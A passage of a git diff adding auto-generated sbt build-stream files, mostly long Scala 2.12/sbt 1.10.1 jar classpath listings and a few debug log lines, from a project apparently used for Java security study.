/actions_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sbt-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-library-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/gigahorse-apache-http_2.12-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/checker-qual-3.4.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/caffeine-2.8.5.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/librarymanagement-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-tracking_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/testing_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-core-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/test-agent-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/launcher-interface-1.4.3.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-apiinfo_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-slf4j-impl-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/tasks_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/file-tree-views-2.1.12.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/collections_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-scalajson_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/task-system_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-lm-integration_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-murmurhash_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ssl-config-core_2.12-0.6.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/librarymanagement-ivy_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-jna-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-compile-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-cache_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-parser-combinators_2.12-1.1.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zero-allocation-hashing-0.16.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-jansi-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/run_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/reactive-streams-1.0.3.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-reflect-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jna-platform-5.13.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/disruptor-3.4.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/template-resolver-0.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-builtins-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-relation_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-compiler-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scripted-plugin_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/protocol_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-style-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/completion_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-compile_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-xml_2.12-2.3.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ipcsocket-1.6.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-jawn-parser_2.12-1.3.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-classpath_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jsch-0.2.17.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-position_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/lm-coursier-shaded_2.12-2.1.4.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/compiler-interface-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-scalajson_2.12-1.0.0-M4.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-interface-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-classfile_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-native-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-logging_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jansi-2.4.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-apache-httpasyncclient-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/core-macros_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/logic_2.12-1.10.1.jar
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/incOptions/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/compile/incOptions/_global/streams/out
new file mode 100644
index 00000000..49612aa9
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/project/target/streams/compile/incOptions/_global/streams/out
@@ -0,0 +1,5 @@
+[debug] Created transactional ClassFileManager with tempDir = /Users/drunkbaby/Desktop/Codes/JavaSecurityLearning/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/classes.bak
+[debug] About to delete class files:
+[debug] We backup class files:
+[debug] Created transactional ClassFileManager with tempDir = /Users/drunkbaby/Desktop/Codes/JavaSecurityLearning/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/classes.bak
+[debug] Removing the temporary directory used for backing up class files: /Users/drunkbaby/Desktop/Codes/JavaSecurityLearning/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/classes.bak
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/internalDependencyClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/compile/internalDependencyClasspath/_global/streams/export
new file mode 100644
index 00000000..8b137891
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/project/target/streams/compile/internalDependencyClasspath/_global/streams/export
@@ -0,0 +1 @@
+
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/internalDependencyClasspath/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/compile/internalDependencyClasspath/_global/streams/out
new file mode 100644
index 00000000..e69de29b
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/managedClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/compile/managedClasspath/_global/streams/export
new file mode 100644
index 00000000..840acb78
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/project/target/streams/compile/managedClasspath/_global/streams/export
@@ -0,0 +1 @@
+/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-library.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-compiler.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-xml_2.12-2.2.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-reflect.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/main_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/io_2.12-1.10.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jna-5.13.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-persist-core-assembly-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/slf4j-api-1.7.36.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-2.14.7-sbt-9c3b6aca11c57e339441442bbf58e550cdfecb79.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/command_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-reader-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-collection-compat_2.12-2.11.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-control_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-api-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/compiler-bridge_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/main-settings_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-core_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sbinary_2.12-0.5.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/error_prone_annotations-2.4.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/gigahorse-core_2.12-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/config-1.4.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/test-interface-1.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-persist_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ivy-2.3.0-sbt-396a783bba347016e7fe30dacc60d355be607fe2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/actions_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sbt-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-library-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/gigahorse-apache-http_2.12-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/checker-qual-3.4.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/caffeine-2.8.5.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/librarymanagement-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-tracking_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/testing_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-core-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/test-agent-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/launcher-interface-1.4.3.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-apiinfo_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-slf4j-impl-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/tasks_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/file-tree-views-2.1.12.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/collections_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-scalajson_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/task-system_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-lm-integration_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-murmurhash_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ssl-config-core_2.12-0.6.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/librarymanagement-ivy_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-jna-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-compile-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-cache_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-parser-combinators_2.12-1.1.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zero-allocation-hashing-0.16.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-jansi-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/run_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/reactive-streams-1.0.3.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-reflect-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jna-platform-5.13.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/disruptor-3.4.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/template-resolver-0.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-builtins-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-relation_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-compiler-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scripted-plugin_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/protocol_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-style-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/completion_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-compile_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-xml_2.12-2.3.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ipcsocket-1.6.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-jawn-parser_2.12-1.3.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-classpath_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jsch-0.2.17.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-position_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/lm-coursier-shaded_2.12-2.1.4.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/compiler-interface-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-scalajson_2.12-1.0.0-M4.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-interface-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-classfile_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-native-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-logging_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jansi-2.4.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-apache-httpasyncclient-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/core-macros_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/logic_2.12-1.10.1.jar
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/scalacOptions/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/compile/scalacOptions/_global/streams/out
new file mode 100644
index 00000000..e69de29b
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/unmanagedClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/compile/unmanagedClasspath/_global/streams/export
new file mode 100644
index 00000000..8b137891
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/project/target/streams/compile/unmanagedClasspath/_global/streams/export
@@ -0,0 +1 @@
+
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/unmanagedClasspath/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/compile/unmanagedClasspath/_global/streams/out
new file mode 100644
index 00000000..e69de29b
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/unmanagedJars/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/compile/unmanagedJars/_global/streams/export
new file mode 100644
index 00000000..8b137891
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/project/target/streams/compile/unmanagedJars/_global/streams/export
@@ -0,0 +1 @@
+
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/runtime/dependencyClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/dependencyClasspath/_global/streams/export
new file mode 100644
index 00000000..7078ef8f
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/dependencyClasspath/_global/streams/export
@@ -0,0 +1 @@
+/Users/drunkbaby/Desktop/Codes/JavaSecurityLearning/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/classes:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-library.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-compiler.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-xml_2.12-2.2.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-reflect.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/main_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/io_2.12-1.10.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jna-5.13.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-persist-core-assembly-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/slf4j-api-1.7.36.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-2.14.7-sbt-9c3b6aca11c57e339441442bbf58e550cdfecb79.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/command_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-reader-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-collection-compat_2.12-2.11.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-control_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-api-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/compiler-bridge_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/main-settings_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-core_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sbinary_2.12-0.5.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/error_prone_annotations-2.4.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/gigahorse-core_2.12-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/config-1.4.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/test-interface-1.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-persist_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ivy-2.3.0-sbt-396a783bba347016e7fe30dacc60d355be607fe2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/actions_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sbt-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-library-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/gigahorse-apache-http_2.12-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/checker-qual-3.4.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/caffeine-2.8.5.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/librarymanagement-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-tracking_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/testing_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-core-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/test-agent-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/launcher-interface-1.4.3.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-apiinfo_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-slf4j-impl-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/tasks_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/file-tree-views-2.1.12.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/collections_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-scalajson_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/task-system_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-lm-integration_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-murmurhash_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ssl-config-core_2.12-0.6.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/librarymanagement-ivy_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-jna-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-compile-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-cache_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-parser-combinators_2.12-1.1.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt